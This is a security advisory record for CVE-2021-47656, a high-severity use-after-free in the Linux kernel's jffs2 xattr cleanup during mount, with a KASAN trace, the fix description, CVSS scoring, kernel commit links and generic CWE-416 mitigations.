jffs2_fill_super jffs2_do_fill_super jffs2_do_mount_fs jffs2_build_filesystem jffs2_scan_medium jffs2_scan_eraseblock <--- ERROR jffs2_clear_xattr_subsystem <--- free jffs2_clear_xattr_subsystem <--- free again

An error is returned in jffs2_do_mount_fs(). If the error is returned by jffs2_sum_init(), the jffs2_clear_xattr_subsystem() does not need to be executed. If the error is returned by jffs2_build_filesystem(), the jffs2_clear_xattr_subsystem() also does not need to be executed again. So move jffs2_clear_xattr_subsystem() from 'out_inohash' to 'out_root' to fix this UAF problem.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T06:37:07Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\njffs2: fix use-after-free in jffs2_clear_xattr_subsystem\n\nWhen we mount a jffs2 image, assume that the first few blocks of\nthe image are normal and contain at least one xattr-related inode,\nbut the next block is abnormal. As a result, an error is returned\nin jffs2_scan_eraseblock(). jffs2_clear_xattr_subsystem() is then\ncalled in jffs2_build_filesystem() and then again in\njffs2_do_fill_super().\n\nFinally we can observe the following report:\n ==================================================================\n BUG: KASAN: use-after-free in jffs2_clear_xattr_subsystem+0x95/0x6ac\n Read of size 8 at addr ffff8881243384e0 by task mount/719\n\n Call Trace:\n  dump_stack+0x115/0x16b\n  jffs2_clear_xattr_subsystem+0x95/0x6ac\n  jffs2_do_fill_super+0x84f/0xc30\n  jffs2_fill_super+0x2ea/0x4c0\n  mtd_get_sb+0x254/0x400\n  mtd_get_sb_by_nr+0x4f/0xd0\n  get_tree_mtd+0x498/0x840\n  jffs2_get_tree+0x25/0x30\n  vfs_get_tree+0x8d/0x2e0\n  path_mount+0x50f/0x1e50\n  do_mount+0x107/0x130\n  __se_sys_mount+0x1c5/0x2f0\n  __x64_sys_mount+0xc7/0x160\n  do_syscall_64+0x45/0x70\n  entry_SYSCALL_64_after_hwframe+0x44/0xa9\n\n Allocated by task 719:\n  kasan_save_stack+0x23/0x60\n  __kasan_kmalloc.constprop.0+0x10b/0x120\n  kasan_slab_alloc+0x12/0x20\n  kmem_cache_alloc+0x1c0/0x870\n  jffs2_alloc_xattr_ref+0x2f/0xa0\n  jffs2_scan_medium.cold+0x3713/0x4794\n  jffs2_do_mount_fs.cold+0xa7/0x2253\n  jffs2_do_fill_super+0x383/0xc30\n  jffs2_fill_super+0x2ea/0x4c0\n [...]\n\n Freed by task 719:\n  kmem_cache_free+0xcc/0x7b0\n  jffs2_free_xattr_ref+0x78/0x98\n  jffs2_clear_xattr_subsystem+0xa1/0x6ac\n  jffs2_do_mount_fs.cold+0x5e6/0x2253\n  jffs2_do_fill_super+0x383/0xc30\n  jffs2_fill_super+0x2ea/0x4c0\n [...]\n\n The buggy address belongs to the object at ffff8881243384b8\n  which belongs to the cache jffs2_xattr_ref of size 48\n The buggy address is located 40 bytes inside of\n  48-byte region [ffff8881243384b8, ffff8881243384e8)\n [...]\n ==================================================================\n\nThe triggering of the BUG is shown in the following stack:\n-----------------------------------------------------------\njffs2_fill_super\n  jffs2_do_fill_super\n    jffs2_do_mount_fs\n      jffs2_build_filesystem\n        jffs2_scan_medium\n          jffs2_scan_eraseblock        \u003c--- ERROR\n        jffs2_clear_xattr_subsystem    \u003c--- free\n    jffs2_clear_xattr_subsystem        \u003c--- free again\n-----------------------------------------------------------\n\nAn error is returned in jffs2_do_mount_fs(). If the error is returned\nby jffs2_sum_init(), the jffs2_clear_xattr_subsystem() does not need to\nbe executed. If the error is returned by jffs2_build_filesystem(), the\njffs2_clear_xattr_subsystem() also does not need to be executed again.\nSo move jffs2_clear_xattr_subsystem() from \u0027out_inohash\u0027 to \u0027out_root\u0027\nto fix this UAF problem.",
  "id": "GHSA-4mx7-h455-mwxv",
  "modified": "2025-02-27T18:31:07Z",
  "published": "2025-02-27T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47656"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/22327bd7988f21de3a53c1373f3b81542bfe1f44"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/30bf7244acf32f19cb722c39f7bc1c2a9f300422"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3bd2454162ec6bbb5503233c804fce6e4b6dcec5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4c7c44ee1650677fbe89d86edbad9497b7679b5c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7a75740206af5f17e9f3efa384211cba70213da1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7bb7428dd73991bf4b3a7a61b493ca50046c2b13"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8c0f024f29e055840a5a89fe23b96ae3f921afed"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9150cb625b46f68d524f4cfd491f1aafc23e10a9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c3b07c875fa8f906f932976460fd14798596f101"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Language Selection

Choose a language that provides automatic memory management.

Mitigation
Implementation

Strategy: Attack Surface Reduction

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list